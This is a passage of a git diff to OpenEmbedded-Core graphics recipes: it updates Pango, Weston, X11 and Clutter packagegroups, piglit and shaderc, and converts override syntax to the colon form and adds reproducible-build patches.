-SUMMARY = "Clutter package groups"
-
-PR = "r6"
-
-inherit packagegroup features_check
-# rdepends on clutter-*
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-PACKAGES = "\
- ${PN}-core \
- "
-
-SUMMARY_${PN}-core = "Clutter graphics library"
-RDEPENDS_${PN}-core = "\
- clutter-1.0 \
- clutter-gst-3.0 \
- clutter-gtk-1.0 \
- "
diff --git a/meta/recipes-graphics/packagegroups/packagegroup-core-weston.bb b/meta/recipes-graphics/packagegroups/packagegroup-core-weston.bb
new file mode 100644
index 0000000000..0ce91ca940
--- /dev/null
+++ b/meta/recipes-graphics/packagegroups/packagegroup-core-weston.bb
@@ -0,0 +1,15 @@
+SUMMARY = "Basic Weston compositor setup"
+DESCRIPTION = "Packages required to set up a basic working Weston session"
+PR = "r1"
+
+inherit packagegroup features_check
+
+# weston-init requires pam enabled if started via systemd
+REQUIRED_DISTRO_FEATURES = "wayland ${@oe.utils.conditional('VIRTUAL-RUNTIME_init_manager', 'systemd', 'pam', '', d)}"
+
+RDEPENDS:${PN} = "\
+ weston \
+ weston-init \
+ weston-examples \
+ wayland-utils \
+ "
diff --git a/meta/recipes-graphics/packagegroups/packagegroup-core-x11-base.bb b/meta/recipes-graphics/packagegroups/packagegroup-core-x11-base.bb
index 9ca2705a5f..0185c93354 100644
--- a/meta/recipes-graphics/packagegroups/packagegroup-core-x11-base.bb
+++ b/meta/recipes-graphics/packagegroups/packagegroup-core-x11-base.bb
@@ -6,10 +6,9 @@ inherit packagegroup features_check
# rdepends on matchbox-wm
REQUIRED_DISTRO_FEATURES = "x11"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
packagegroup-core-x11-xserver \
packagegroup-core-x11-utils \
- dbus \
matchbox-terminal \
matchbox-wm \
mini-x-session \
diff --git a/meta/recipes-graphics/packagegroups/packagegroup-core-x11-xserver.bb b/meta/recipes-graphics/packagegroups/packagegroup-core-x11-xserver.bb
index a0b944a678..3bb308fbba 100644
--- a/meta/recipes-graphics/packagegroups/packagegroup-core-x11-xserver.bb
+++ b/meta/recipes-graphics/packagegroups/packagegroup-core-x11-xserver.bb
@@ -14,7 +14,7 @@ REQUIRED_DISTRO_FEATURES = "x11"
XSERVER ?= "xserver-xorg xf86-video-fbdev"
XSERVERCODECS ?= ""
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
${XSERVER} \
${XSERVERCODECS} \
"
diff --git a/meta/recipes-graphics/packagegroups/packagegroup-core-x11.bb b/meta/recipes-graphics/packagegroups/packagegroup-core-x11.bb
index cddf1932f3..9ca058b38b 100644
--- a/meta/recipes-graphics/packagegroups/packagegroup-core-x11.bb
+++ b/meta/recipes-graphics/packagegroups/packagegroup-core-x11.bb
@@ -16,13 +16,13 @@ VIRTUAL-RUNTIME_xserver_common ?= ""
VIRTUAL-RUNTIME_graphical_init_manager ?= "xserver-nodm-init"
SUMMARY = "X11 display server and basic utilities"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
${PN}-xserver \
${PN}-utils \
"
-SUMMARY_${PN}-utils = "X11 basic utilities and init"
-RDEPENDS_${PN}-utils = "\
+SUMMARY:${PN}-utils = "X11 basic utilities and init"
+RDEPENDS:${PN}-utils = "\
${VIRTUAL-RUNTIME_xserver_common} \
${VIRTUAL-RUNTIME_graphical_init_manager} \
xauth \
diff --git a/meta/recipes-graphics/pango/pango_1.46.2.bb b/meta/recipes-graphics/pango/pango_1.46.2.bb
deleted file mode 100644
index c41d1e8a9b..0000000000
--- a/meta/recipes-graphics/pango/pango_1.46.2.bb
+++ /dev/null
@@ -1,47 +0,0 @@
-SUMMARY = "Framework for layout and rendering of internationalized text"
-DESCRIPTION = "Pango is a library for laying out and rendering of text, \
-with an emphasis on internationalization. Pango can be used anywhere \
-that text layout is needed, though most of the work on Pango so far has \
-been done in the context of the GTK+ widget toolkit. Pango forms the \
-core of text and font handling for GTK+-2.x."
-HOMEPAGE = "http://www.pango.org/"
-BUGTRACKER = "http://bugzilla.gnome.org"
-SECTION = "libs"
-LICENSE = "LGPLv2.0+"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=3bf50002aefd002f49e7bb854063f7e7"
-
-GNOMEBASEBUILDCLASS = "meson"
-
-inherit gnomebase gtk-doc ptest-gnome upstream-version-is-even gobject-introspection
-
-SRC_URI += " file://run-ptest"
-SRC_URI[archive.sha256sum] = "d89fab5f26767261b493279b65cfb9eb0955cd44c07c5628d36094609fc51841"
-
-DEPENDS = "glib-2.0 glib-2.0-native fontconfig freetype virtual/libiconv cairo harfbuzz fribidi"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} \
- ${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
-
-PACKAGECONFIG[x11] = ",,virtual/libx11 libxft"
-PACKAGECONFIG[tests] = "-Dinstall-tests=true, -Dinstall-tests=false"
-PACKAGECONFIG[thai] = ",,libthai"
-
-GTKDOC_MESON_OPTION = "gtk_doc"
-GIR_MESON_OPTION = 'introspection'
-
-do_configure_prepend_toolchain-clang() {
- sed -i -e "/Werror=implicit-fallthrough/d" ${S}/meson.build
-}
-
-LEAD_SONAME = "libpango-1.0*"
-
-FILES_${PN} = "${bindir}/* ${libdir}/libpango*${SOLIBS}"
-
-RDEPENDS_${PN}-ptest += "cantarell-fonts"
-RDEPENDS_${PN}-ptest_append_libc-glibc = " locale-base-en-us"
-
-RPROVIDES_${PN} += "pango-modules pango-module-indic-lang \
- pango-module-basic-fc pango-module-arabic-lang"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/pango/pango_1.48.10.bb b/meta/recipes-graphics/pango/pango_1.48.10.bb
new file mode 100644
index 0000000000..40df7042e6
--- /dev/null
+++ b/meta/recipes-graphics/pango/pango_1.48.10.bb
@@ -0,0 +1,54 @@
+SUMMARY = "Framework for layout and rendering of internationalized text"
+DESCRIPTION = "Pango is a library for laying out and rendering of text, \
+with an emphasis on internationalization. Pango can be used anywhere \
+that text layout is needed, though most of the work on Pango so far has \
+been done in the context of the GTK+ widget toolkit. Pango forms the \
+core of text and font handling for GTK+-2.x."
+HOMEPAGE = "http://www.pango.org/"
+BUGTRACKER = "http://bugzilla.gnome.org"
+SECTION = "libs"
+LICENSE = "LGPLv2.0+"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=3bf50002aefd002f49e7bb854063f7e7"
+
+GNOMEBASEBUILDCLASS = "meson"
+
+inherit gnomebase gi-docgen ptest-gnome upstream-version-is-even gobject-introspection
+
+GIR_MESON_ENABLE_FLAG = "enabled"
+GIR_MESON_DISABLE_FLAG = "disabled"
+
+SRC_URI += "file://run-ptest"
+
+SRC_URI[archive.sha256sum] = "21e1f5798bcdfda75eabc4280514b0896ab56f656d4e7e66030b9a2535ecdc98"
+
+DEPENDS = "glib-2.0 glib-2.0-native fontconfig freetype virtual/libiconv cairo harfbuzz fribidi"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} \
+ ${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
+
+PACKAGECONFIG[x11] = ",,virtual/libx11 libxft"
+PACKAGECONFIG[tests] = "-Dinstall-tests=true, -Dinstall-tests=false"
+PACKAGECONFIG[thai] = ",,libthai"
+
+GIR_MESON_OPTION = 'introspection'
+
+do_configure:prepend() {
+ chmod +x ${S}/tests/*.py
+}
+
+do_configure:prepend:toolchain-clang() {
+ sed -i -e "/Werror=implicit-fallthrough/d" ${S}/meson.build
+}
+
+LEAD_SONAME = "libpango-1.0*"
+
+FILES:${PN} = "${bindir}/* ${libdir}/libpango*${SOLIBS}"
+
+RDEPENDS:${PN}-ptest += "cantarell-fonts"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " locale-base-en-us"
+
+RPROVIDES:${PN} += "pango-modules pango-module-indic-lang \
+ pango-module-basic-fc pango-module-arabic-lang"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/piglit/piglit/0001-Add-a-missing-include-for-htobe32-definition.patch b/meta/recipes-graphics/piglit/piglit/0001-Add-a-missing-include-for-htobe32-definition.patch
index caa48e088d..7b0cb17925 100644
--- a/meta/recipes-graphics/piglit/piglit/0001-Add-a-missing-include-for-htobe32-definition.patch
+++ b/meta/recipes-graphics/piglit/piglit/0001-Add-a-missing-include-for-htobe32-definition.patch
@@ -3,7 +3,7 @@ From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Sun, 1 Nov 2020 20:08:49 +0000
Subject: [PATCH] Add a missing include for htobe32 definition
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/piglit/-/merge_requests/609]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
tests/spec/nv_copy_depth_to_color/nv_copy_depth_to_color.c | 2 ++
diff --git a/meta/recipes-graphics/piglit/piglit/0001-framework-profile.py-make-test-lists-reproducible.patch b/meta/recipes-graphics/piglit/piglit/0001-framework-profile.py-make-test-lists-reproducible.patch
new file mode 100644
index 0000000000..c90f601cfa
--- /dev/null
+++ b/meta/recipes-graphics/piglit/piglit/0001-framework-profile.py-make-test-lists-reproducible.patch
@@ -0,0 +1,31 @@
+From 9086d42df1f3134bafcfe33ff16db7bbb9d9a0fd Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 30 Nov 2020 23:08:22 +0000
+Subject: [PATCH] framework/profile.py: make test lists reproducible
+
+These are created with os.walk, which yields different
+order depending on where it's run.
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/piglit/-/merge_requests/610]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ framework/profile.py | 6 +++++-
+ 1 file changed, 5 insertions(+), 1 deletion(-)
+
+diff --git a/framework/profile.py b/framework/profile.py
+index c210e535e..9b5d51d68 100644
+--- a/framework/profile.py
++++ b/framework/profile.py
+@@ -528,7 +528,11 @@ class TestProfile(object):
+ else:
+ opts[n] = self.test_list[n]
+ else:
+- opts = self.test_list # pylint: disable=redefined-variable-type
++ opts = collections.OrderedDict()
++ test_keys = list(self.test_list.keys())
++ test_keys.sort()
++ for k in test_keys:
++ opts[k] = self.test_list[k]
+
+ for k, v in self.filters.run(opts.items()):
+ yield k, v
diff --git a/meta/recipes-graphics/piglit/piglit/0001-generated_tests-gen_tcs-tes_input_tests.py-do-not-ha.patch b/meta/recipes-graphics/piglit/piglit/0001-generated_tests-gen_tcs-tes_input_tests.py-do-not-ha.patch
new file mode 100644
index 0000000000..cb675e8d99
--- /dev/null
+++ b/meta/recipes-graphics/piglit/piglit/0001-generated_tests-gen_tcs-tes_input_tests.py-do-not-ha.patch
@@ -0,0 +1,44 @@
+From 1b23539aece156f6fe0789cb988f22e5915228f6 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Tue, 10 Nov 2020 17:12:32 +0000
+Subject: [PATCH 1/2] generated_tests/gen_tcs/tes_input_tests.py: do not
+ hardcode the full binary path
+
+This helps reproducibility.
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/piglit/-/merge_requests/610]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ generated_tests/gen_tcs_input_tests.py | 2 +-
+ generated_tests/gen_tes_input_tests.py | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/generated_tests/gen_tcs_input_tests.py b/generated_tests/gen_tcs_input_tests.py
+index face4f19a..e36671af4 100644
+--- a/generated_tests/gen_tcs_input_tests.py
++++ b/generated_tests/gen_tcs_input_tests.py
+@@ -272,7 +272,7 @@ class Test(object):
+ relative probe rgb (0.75, 0.75) (0.0, 1.0, 0.0)
+ """)
+
+- test = test.format(self=self, generator_command=" ".join(sys.argv))
++ test = test.format(self=self, generator_command="generated_tests/gen_tcs_input_tests.py")
+
+ filename = self.filename()
+ dirname = os.path.dirname(filename)
+diff --git a/generated_tests/gen_tes_input_tests.py b/generated_tests/gen_tes_input_tests.py
+index 3d847b5cc..954840b20 100644
+--- a/generated_tests/gen_tes_input_tests.py
++++ b/generated_tests/gen_tes_input_tests.py
+@@ -301,7 +301,7 @@ class Test(object):
+ relative probe rgb (0.75, 0.75) (0.0, 1.0, 0.0)
+ """)
+
+- test = test.format(self=self, generator_command=" ".join(sys.argv))
++ test = test.format(self=self, generator_command="generated_tests/gen_tes_input_tests.py")
+
+ filename = self.filename()
+ dirname = os.path.dirname(filename)
+--
+2.17.1
+
diff --git a/meta/recipes-graphics/piglit/piglit/0001-serializer.py-make-.gz-files-reproducible.patch b/meta/recipes-graphics/piglit/piglit/0001-serializer.py-make-.gz-files-reproducible.patch
new file mode 100644
index 0000000000..a1db2987ac
--- /dev/null
+++ b/meta/recipes-graphics/piglit/piglit/0001-serializer.py-make-.gz-files-reproducible.patch
@@ -0,0 +1,30 @@
+From 1919bb7f4072d73dcbb64d0e06eff5b04529c3db Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 16 Nov 2020 18:01:02 +0000
+Subject: [PATCH] serializer.py: make .gz files reproducible
+
+.gz format contains mtime of the compressed data, and
+SOURCE_DATE_EPOCH is the standard way to make it reproducuble.
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/piglit/-/merge_requests/610]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ tests/serializer.py | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/tests/serializer.py b/tests/serializer.py
+index bd14bc3db..bc5b45d7f 100644
+--- a/tests/serializer.py
++++ b/tests/serializer.py
+@@ -138,7 +138,10 @@ def serializer(name, profile, outfile):
+ et.SubElement(env, 'env', name=k, value=v)
+
+ tree = et.ElementTree(root)
+- with gzip.open(outfile, 'wb') as f:
++ reproducible_mtime = None
++ if 'SOURCE_DATE_EPOCH' in os.environ:
++ reproducible_mtime=os.environ['SOURCE_DATE_EPOCH']
++ with gzip.GzipFile(outfile, 'wb', mtime=reproducible_mtime) as f:
+ tree.write(f, encoding='utf-8', xml_declaration=True)
+
+
diff --git a/meta/recipes-graphics/piglit/piglit/0001-tests-shader.py-sort-the-file-list-before-working-on.patch b/meta/recipes-graphics/piglit/piglit/0001-tests-shader.py-sort-the-file-list-before-working-on.patch
new file mode 100644
index 0000000000..dee876bcbe
--- /dev/null
+++ b/meta/recipes-graphics/piglit/piglit/0001-tests-shader.py-sort-the-file-list-before-working-on.patch
@@ -0,0 +1,28 @@
+From 5bf89c6a314952313b2b762fff0d5501fe57ac53 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Wed, 2 Dec 2020 21:21:52 +0000
+Subject: [PATCH] tests/shader.py: sort the file list before working on it
+
+This allows later xml output to be reproducible.
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/piglit/-/merge_requests/610]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ tests/shader.py | 4 +++-
+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/tests/shader.py b/tests/shader.py
+index 849273660..e6e65d1ba 100644
+--- a/tests/shader.py
++++ b/tests/shader.py
+@@ -52,7 +52,9 @@ for basedir in [TESTS_DIR, GENERATED_TESTS_DIR]:
+ for group, files in shader_tests.items():
+ assert group not in profile.test_list, 'duplicate group: {}'.format(group)
+
+- # We'll end up with a list of tuples, split that into two lists
++ # This makes the xml output reproducible, as os.walk() order is random
++ files.sort()
++ # We'll end up with a list of tuples, split that into two list
+ files, installedfiles = list(zip(*files))
+ files = list(files)
+ installedfiles = list(installedfiles)
diff --git a/meta/recipes-graphics/piglit/piglit/0002-tests-util-piglit-shader.c-do-not-hardcode-build-pat.patch b/meta/recipes-graphics/piglit/piglit/0002-tests-util-piglit-shader.c-do-not-hardcode-build-pat.patch
new file mode 100644
index 0000000000..16c7c5c803
--- /dev/null
+++ b/meta/recipes-graphics/piglit/piglit/0002-tests-util-piglit-shader.c-do-not-hardcode-build-pat.patch
@@ -0,0 +1,30 @@
+From 1c67250308a92d4991ed05d9d240090ab84accae Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Tue, 10 Nov 2020 17:13:50 +0000
+Subject: [PATCH 2/2] tests/util/piglit-shader.c: do not hardcode build path
+ into target binary
+
+This helps reproducibilty.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ tests/util/piglit-shader.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/util/piglit-shader.c b/tests/util/piglit-shader.c
+index 4fd68d21e..c9ea8295e 100644
+--- a/tests/util/piglit-shader.c
++++ b/tests/util/piglit-shader.c
+@@ -73,7 +73,7 @@ piglit_compile_shader(GLenum target, const char *filename)
+
+ source_dir = getenv("PIGLIT_SOURCE_DIR");
+ if (source_dir == NULL) {
+- source_dir = SOURCE_DIR;
++ source_dir = ".";
+ }
+
+ snprintf(filename_with_path, FILENAME_MAX - 1,
+--
+2.17.1
+
diff --git a/meta/recipes-graphics/piglit/piglit_git.bb b/meta/recipes-graphics/piglit/piglit_git.bb
index a9d1d39dfe..70c7529f91 100644
--- a/meta/recipes-graphics/piglit/piglit_git.bb
+++ b/meta/recipes-graphics/piglit/piglit_git.bb
@@ -1,17 +1,24 @@
SUMMARY = "OpenGL driver testing framework"
DESCRIPTION = "Piglit is an open-source test suite for OpenGL and OpenCL \
implementations."
+HOMEPAGE = "https://gitlab.freedesktop.org/mesa/piglit"
+BUGTRACKER = "https://gitlab.freedesktop.org/mesa/piglit/-/issues"
LICENSE = "MIT & LGPLv2+ & GPLv3 & GPLv2+ & BSD-3-Clause"
LIC_FILES_CHKSUM = "file://COPYING;md5=b2beded7103a3d8a442a2a0391d607b0"
-SRC_URI = "git://gitlab.freedesktop.org/mesa/piglit.git;protocol=https \
+SRC_URI = "git://gitlab.freedesktop.org/mesa/piglit.git;protocol=https;branch=main \
file://0001-cmake-install-bash-completions-in-the-right-place.patch \
file://0001-cmake-use-proper-WAYLAND_INCLUDE_DIRS-variable.patch \
file://0001-Add-a-missing-include-for-htobe32-definition.patch \
+ file://0001-generated_tests-gen_tcs-tes_input_tests.py-do-not-ha.patch \
+ file://0002-tests-util-piglit-shader.c-do-not-hardcode-build-pat.patch \
+ file://0001-serializer.py-make-.gz-files-reproducible.patch \
+ file://0001-framework-profile.py-make-test-lists-reproducible.patch \
+ file://0001-tests-shader.py-sort-the-file-list-before-working-on.patch \
"
UPSTREAM_CHECK_COMMITS = "1"
-SRCREV = "59e695c16fdcdd4ea4f16365f0e397a93cef7b80"
+SRCREV = "f855ad1c8ab0a7b25437b1a48b9038f599f31691"
# (when PV goes above 1.0 remove the trailing r)
PV = "1.0+gitr${SRCPV}"
@@ -36,9 +43,11 @@ do_compile[dirs] =+ "${B}/temp/"
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
PACKAGECONFIG[freeglut] = "-DPIGLIT_USE_GLUT=1,-DPIGLIT_USE_GLUT=0,freeglut,"
PACKAGECONFIG[x11] = "-DPIGLIT_BUILD_GL_TESTS=ON,-DPIGLIT_BUILD_GL_TESTS=OFF,${X11_DEPS}, ${X11_RDEPS}"
+PACKAGECONFIG[vulkan] = "-DPIGLIT_BUILD_VK_TESTS=ON,-DPIGLIT_BUILD_VK_TESTS=OFF,vulkan-loader"
+export PIGLIT_BUILD_DIR = "../../../../git"
-do_configure_prepend() {
+do_configure:prepend() {
if [ "${@bb.utils.contains('PACKAGECONFIG', 'freeglut', 'yes', 'no', d)}" = "no" ]; then
sed -i -e "/^#.*include <GL\/freeglut_ext.h>$/d" ${S}/src/piglit/glut_wrap.h
sed -i -e "/^#.*include.*<GL\/glut.h>$/d" ${S}/src/piglit/glut_wrap.h
@@ -48,18 +57,18 @@ do_configure_prepend() {
# Forcibly strip because Piglit is *huge*
OECMAKE_TARGET_INSTALL = "install/strip"
-RDEPENDS_${PN} = "waffle waffle-bin python3 python3-mako python3-json \
+RDEPENDS:${PN} = "waffle waffle-bin python3 python3-mako python3-json \
python3-misc \
python3-unixadmin python3-xml python3-multiprocessing \
python3-six python3-shell python3-io \
python3-netserver bash \
"
-INSANE_SKIP_${PN} += "dev-so already-stripped"
+INSANE_SKIP:${PN} += "dev-so already-stripped"
# As nothing builds against Piglit we don't need to have anything in the
# sysroot, especially when this is ~2GB of test suite
-SYSROOT_DIRS_remove = "${libdir}"
+SYSROOT_DIRS:remove = "${libdir}"
# Can't be built with ccache
CCACHE_DISABLE = "1"
diff --git a/meta/recipes-graphics/shaderc/files/0001-Fix-the-link-order-of-libglslang-and-libHLSL.patch b/meta/recipes-graphics/shaderc/files/0001-Fix-the-link-order-of-libglslang-and-libHLSL.patch
deleted file mode 100644
index 7102e25bcf..0000000000
--- a/meta/recipes-graphics/shaderc/files/0001-Fix-the-link-order-of-libglslang-and-libHLSL.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-From 0b9468d4face34879214f500b15e810cdd1a81a1 Mon Sep 17 00:00:00 2001
-From: Niklas Haas <git@haasn.xyz>
-Date: Tue, 29 May 2018 07:34:00 +0200
-Subject: [PATCH] Fix the link order of libglslang and libHLSL
-
-libglslang depends on libHLSL, so the latter needs to be specified last.
-This fixes an issue when trying to build shaderc against system-wide
-versions of libglslang/libHLSL, rather than the in-tree versions from
-third_party.
-
-Additionally, libshaderc_util also depends on SPIRV-Tools
-
-Upstream-Status: Backport [21c8be385b3fab5edcb934a6d99f69fd389c4e67]
-
-Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
-
----
- glslc/CMakeLists.txt | 2 +-
- libshaderc_util/CMakeLists.txt | 4 ++--
- 2 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/glslc/CMakeLists.txt b/glslc/CMakeLists.txt
-index 31664d1..35b3f19 100644
---- a/glslc/CMakeLists.txt
-+++ b/glslc/CMakeLists.txt
-@@ -43,7 +43,7 @@ if (SHADERC_ENABLE_WGSL_OUTPUT)
- endif(SHADERC_ENABLE_WGSL_OUTPUT)
-
- target_link_libraries(glslc PRIVATE
-- glslang OSDependent OGLCompiler HLSL glslang SPIRV # Glslang libraries
-+ glslang OSDependent OGLCompiler glslang SPIRV HLSL # Glslang libraries
- $<$<BOOL:${SHADERC_ENABLE_WGSL_OUTPUT}>:libtint> # Tint libraries, optional
- shaderc_util shaderc # internal Shaderc libraries
- ${CMAKE_THREAD_LIBS_INIT})
-diff --git a/libshaderc_util/CMakeLists.txt b/libshaderc_util/CMakeLists.txt
-index 48f9991..984cc06 100644
---- a/libshaderc_util/CMakeLists.txt
-+++ b/libshaderc_util/CMakeLists.txt
-@@ -46,8 +46,8 @@ add_definitions(-DENABLE_HLSL)
-
- find_package(Threads)
- target_link_libraries(shaderc_util PRIVATE
-- glslang OSDependent OGLCompiler HLSL glslang SPIRV
-- SPIRV-Tools-opt ${CMAKE_THREAD_LIBS_INIT})
-+ glslang OSDependent OGLCompiler glslang HLSL SPIRV
-+ SPIRV-Tools-opt SPIRV-Tools ${CMAKE_THREAD_LIBS_INIT})
-
- shaderc_add_tests(
- TEST_PREFIX shaderc_util
diff --git a/meta/recipes-graphics/shaderc/files/0001-cmake-disable-building-external-dependencies.patch b/meta/recipes-graphics/shaderc/files/0001-cmake-disable-building-external-dependencies.patch
new file mode 100644
index 0000000000..cc9a400028
--- /dev/null
+++ b/meta/recipes-graphics/shaderc/files/0001-cmake-disable-building-external-dependencies.patch
@@ -0,0 +1,109 @@
+From 071a9d71bea91bbefcf15e061fc87e53568f3188 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sat, 13 Feb 2021 00:45:56 +0000
+Subject: [PATCH 1/3] cmake: disable building external dependencies
+
+- add cmake option to disable the build of the third_party dependencies
+- change the update_build_version.py to use pkg-config when third_party dependencies not found
+
+Upstream-Status: Inappropriate [OE-core specific]
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+---
+ CMakeLists.txt | 13 ++++++++++---
+ utils/update_build_version.py | 22 +++++++++++++++-------
+ 2 files changed, 25 insertions(+), 10 deletions(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index 5c74cd8..b358f6b 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -41,6 +41,7 @@ else()
+ endif()
+
+ option(SHADERC_ENABLE_WERROR_COMPILE "Enable passing -Werror to compiler, if available" ON)
++option(BUILD_EXTERNAL "Build external dependencies in /third_party" ON)
+
+ set (CMAKE_CXX_STANDARD 11)
+
+@@ -101,8 +102,14 @@ endif(MSVC)
+
+
+ # Configure subdirectories.
+-# We depend on these for later projects, so they should come first.
+-add_subdirectory(third_party)
++if(BUILD_EXTERNAL)
++ # We depend on these for later projects, so they should come first.
++ add_subdirectory(third_party)
++else()
++ find_package(PkgConfig REQUIRED)
++ pkg_check_modules (PKG_CHECK REQUIRED SPIRV-Tools)
++ pkg_check_modules (PKG_CHECK REQUIRED glslang)
++endif()
+
+ add_subdirectory(libshaderc_util)
+ add_subdirectory(libshaderc)
+@@ -112,7 +119,7 @@ add_subdirectory(examples)
+ add_custom_target(build-version
+ ${PYTHON_EXECUTABLE}
+ ${CMAKE_CURRENT_SOURCE_DIR}/utils/update_build_version.py
+- ${shaderc_SOURCE_DIR} ${spirv-tools_SOURCE_DIR} ${glslang_SOURCE_DIR} ${CMAKE_CURRENT_BINARY_DIR}/build-version.inc
++ ${CMAKE_CURRENT_BINARY_DIR}/build-version.inc ${shaderc_SOURCE_DIR} ${spirv-tools_SOURCE_DIR} ${glslang_SOURCE_DIR}
+ COMMENT "Update build-version.inc in the Shaderc build directory (if necessary).")
+
+ function(define_pkg_config_file NAME LIBS)
+diff --git a/utils/update_build_version.py b/utils/update_build_version.py
+index 5785390..f72b762 100755
+--- a/utils/update_build_version.py
++++ b/utils/update_build_version.py
+@@ -30,6 +30,7 @@ import re
+ import subprocess
+ import sys
+ import time
++import itertools
+
+ def mkdir_p(directory):
+ """Make the directory, and all its ancestors as required. Any of the
+@@ -121,25 +122,32 @@ def get_version_string(project, directory):
+ directory, which consists of software version string and git description
+ string."""
+ detailed_version_string_lst = [project]
+- if project != 'glslang':
+- detailed_version_string_lst.append(deduce_software_version(directory))
+- detailed_version_string_lst.append(describe(directory).replace('"', '\\"'))
++ if isinstance(directory, str) and os.path.isdir(directory):
++ if project != 'glslang':
++ detailed_version_string_lst.append(deduce_software_version(directory))
++ detailed_version_string_lst.append(describe(directory).replace('"', '\\"'))
++ else:
++ if project == 'spirv-tools':
++ project = 'SPIRV-Tools'
++ pkgconfig = ['pkg-config', '--modversion', project]
++ version = subprocess.run(pkgconfig, capture_output=True, text=True).stdout.rstrip()
++ detailed_version_string_lst.append(version)
+ return ' '.join(detailed_version_string_lst)
+
+
+ def main():
+- if len(sys.argv) != 5:
+- print(('usage: {} <shaderc-dir> <spirv-tools-dir> <glslang-dir> <output-file>'.format(
++ if len(sys.argv) < 3:
++ print(('usage: {} <output-file> <shaderc-dir> [spirv-tools-dir] [glslang-dir]'.format(
+ sys.argv[0])))
+ sys.exit(1)
+
+ projects = ['shaderc', 'spirv-tools', 'glslang']
+ new_content = ''.join([
+ '"{}\\n"\n'.format(get_version_string(p, d))
+- for (p, d) in zip(projects, sys.argv[1:])
++ for (p, d) in itertools.zip_longest(projects, sys.argv[2:])
+ ])
+
+- output_file = sys.argv[4]
++ output_file = sys.argv[1]
+ mkdir_p(os.path.dirname(output_file))
+
+ if os.path.isfile(output_file):
+--
+2.30.1
+
diff --git a/meta/recipes-graphics/shaderc/files/0002-libshaderc_util-fix-glslang-header-file-location.patch b/meta/recipes-graphics/shaderc/files/0002-libshaderc_util-fix-glslang-header-file-location.patch
new file mode 100644
index 0000000000..0e8ad7e4d2
--- /dev/null
+++ b/meta/recipes-graphics/shaderc/files/0002-libshaderc_util-fix-glslang-header-file-location.patch
@@ -0,0 +1,26 @@
+From d02ad48d5c9b48af70ddea2e6998081347ef82f3 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sat, 13 Feb 2021 00:45:56 +0000
+Subject: [PATCH] libshaderc_util: fix glslang header file location
+
+Upstream-Status: Pending
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+
+---
+ libshaderc_util/src/compiler.cc | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/libshaderc_util/src/compiler.cc b/libshaderc_util/src/compiler.cc
+index 051558b..9c4476c 100644
+--- a/libshaderc_util/src/compiler.cc
++++ b/libshaderc_util/src/compiler.cc
+@@ -20,7 +20,7 @@
+ #include <thread>
+ #include <tuple>
+
+-#include "SPIRV/GlslangToSpv.h"
++#include "glslang/SPIRV/GlslangToSpv.h"
+ #include "libshaderc_util/format.h"
+ #include "libshaderc_util/io_shaderc.h"
+ #include "libshaderc_util/message.h"
diff --git a/meta/recipes-graphics/shaderc/files/0003-cmake-de-vendor-libs-and-disable-git-versioning.patch b/meta/recipes-graphics/shaderc/files/0003-cmake-de-vendor-libs-and-disable-git-versioning.patch
deleted file mode 100644
index 0d58925adc..0000000000
--- a/meta/recipes-graphics/shaderc/files/0003-cmake-de-vendor-libs-and-disable-git-versioning.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-From e092619a9ef7910ad56acfb8728c66f0125d176a Mon Sep 17 00:00:00 2001
